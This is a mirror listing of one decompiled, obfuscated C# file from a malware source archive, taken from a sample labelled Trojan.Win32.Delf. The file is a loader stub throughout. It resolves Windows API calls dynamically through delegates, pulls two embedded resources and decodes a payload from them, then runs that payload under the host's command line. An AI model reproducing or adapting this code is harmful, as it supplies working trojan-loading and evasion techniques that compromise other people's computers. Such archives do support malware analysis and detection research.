mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2025-01-20 00:58:52 +00:00
f2ac1ece55
add
89 lines
3.6 KiB
C#
89 lines
3.6 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: .
|
||
// Assembly: Explorer, Version=1.0.0.0, Culture=neutral, PublicKeyToken=1133f7a8419a0062
|
||
// MVID: 9EBACA4B-5CC4-4E1D-BB8B-A34A1921D651
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Delf.cjha-09fdf048be5ee692c4b7f67dcd746d321697af807f132f1e395c35c2bc7d244c.exe
|
||
|
||
using \u0004;
|
||
using \u0005;
|
||
using System;
|
||
using System.Runtime.InteropServices;
|
||
using System.Text;
|
||
|
||
namespace \u0003
|
||
{
|
||
internal class \u0003
|
||
{
|
||
private static \u0003.\u0003.\u0005 \u0001;
|
||
private static \u0003.\u0003.\u0002 \u0001;
|
||
private static \u0003.\u0003.\u0001 \u0001;
|
||
private static \u0003.\u0003.\u0003 \u0001;
|
||
private static \u0003.\u0003.\u0004 \u0001;
|
||
|
||
public static void \u0003([In] string[] obj0)
|
||
{
|
||
byte[] numArray1 = new byte[0];
|
||
string str1 = string.Join(Convert.ToChar(32).ToString(), obj0);
|
||
\u0003.\u0003.\u0001 = (\u0003.\u0003.\u0005) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0003(\u0002.\u0003()), \u0002.\u0004()), typeof (\u0003.\u0003.\u0005));
|
||
\u0003.\u0003.\u0001 = (\u0003.\u0003.\u0002) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0003(\u0002.\u0003()), \u0002.\u0005()), typeof (\u0003.\u0003.\u0002));
|
||
\u0003.\u0003.\u0001 = (\u0003.\u0003.\u0001) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0003(\u0002.\u0003()), \u0002.\u0006()), typeof (\u0003.\u0003.\u0001));
|
||
\u0003.\u0003.\u0001 = (\u0003.\u0003.\u0003) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0003(\u0002.\u0003()), \u0002.\u0007()), typeof (\u0003.\u0003.\u0003));
|
||
\u0003.\u0003.\u0001 = (\u0003.\u0003.\u0004) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0003(\u0002.\u0003()), \u0002.\u0008()), typeof (\u0003.\u0003.\u0004));
|
||
try
|
||
{
|
||
string str2 = \u0003.\u0003.\u0003(104);
|
||
string str3 = \u0003.\u0003.\u0003(105);
|
||
if (str2.Length <= 0 || str3.Length <= 0)
|
||
return;
|
||
byte[] numArray2 = \u0001.\u0003(str3, str2);
|
||
if (numArray2.Length <= 0)
|
||
return;
|
||
if (\u0001.\u0003(numArray2))
|
||
\u0001.\u0003(obj0);
|
||
else
|
||
\u0004.\u0003.\u0003(numArray2, str1, \u0003.\u0003.\u0003());
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
}
|
||
|
||
private static string \u0003()
|
||
{
|
||
StringBuilder stringBuilder = new StringBuilder((int) byte.MaxValue);
|
||
int num = (int) \u0003.\u0003.\u0001(IntPtr.Zero, stringBuilder, stringBuilder.Capacity);
|
||
return stringBuilder.ToString();
|
||
}
|
||
|
||
private static string \u0003([In] int obj0)
|
||
{
|
||
byte[] numArray1 = new byte[0];
|
||
byte[] numArray2;
|
||
try
|
||
{
|
||
IntPtr num1 = \u0003.\u0003.\u0001(IntPtr.Zero, (IntPtr) obj0, (IntPtr) 2);
|
||
IntPtr num2 = \u0003.\u0003.\u0001(IntPtr.Zero, num1);
|
||
IntPtr source = \u0003.\u0003.\u0001(num2);
|
||
uint length = \u0003.\u0003.\u0001(IntPtr.Zero, num1);
|
||
numArray2 = new byte[(IntPtr) length];
|
||
Marshal.Copy(source, numArray2, 0, (int) length);
|
||
}
|
||
catch
|
||
{
|
||
return string.Empty;
|
||
}
|
||
return Encoding.Default.GetString(numArray2);
|
||
}
|
||
|
||
private delegate IntPtr \u0001([In] IntPtr obj0);
|
||
|
||
private delegate IntPtr \u0002([In] IntPtr obj0, [In] IntPtr obj1);
|
||
|
||
private delegate uint \u0003([In] IntPtr obj0, [In] IntPtr obj1);
|
||
|
||
private delegate uint \u0004([In] IntPtr obj0, [In] StringBuilder obj1, [MarshalAs(UnmanagedType.U4), In] int _param3);
|
||
|
||
private delegate IntPtr \u0005([In] IntPtr obj0, [In] IntPtr obj1, [In] IntPtr obj2);
|
||
}
|
||
}
|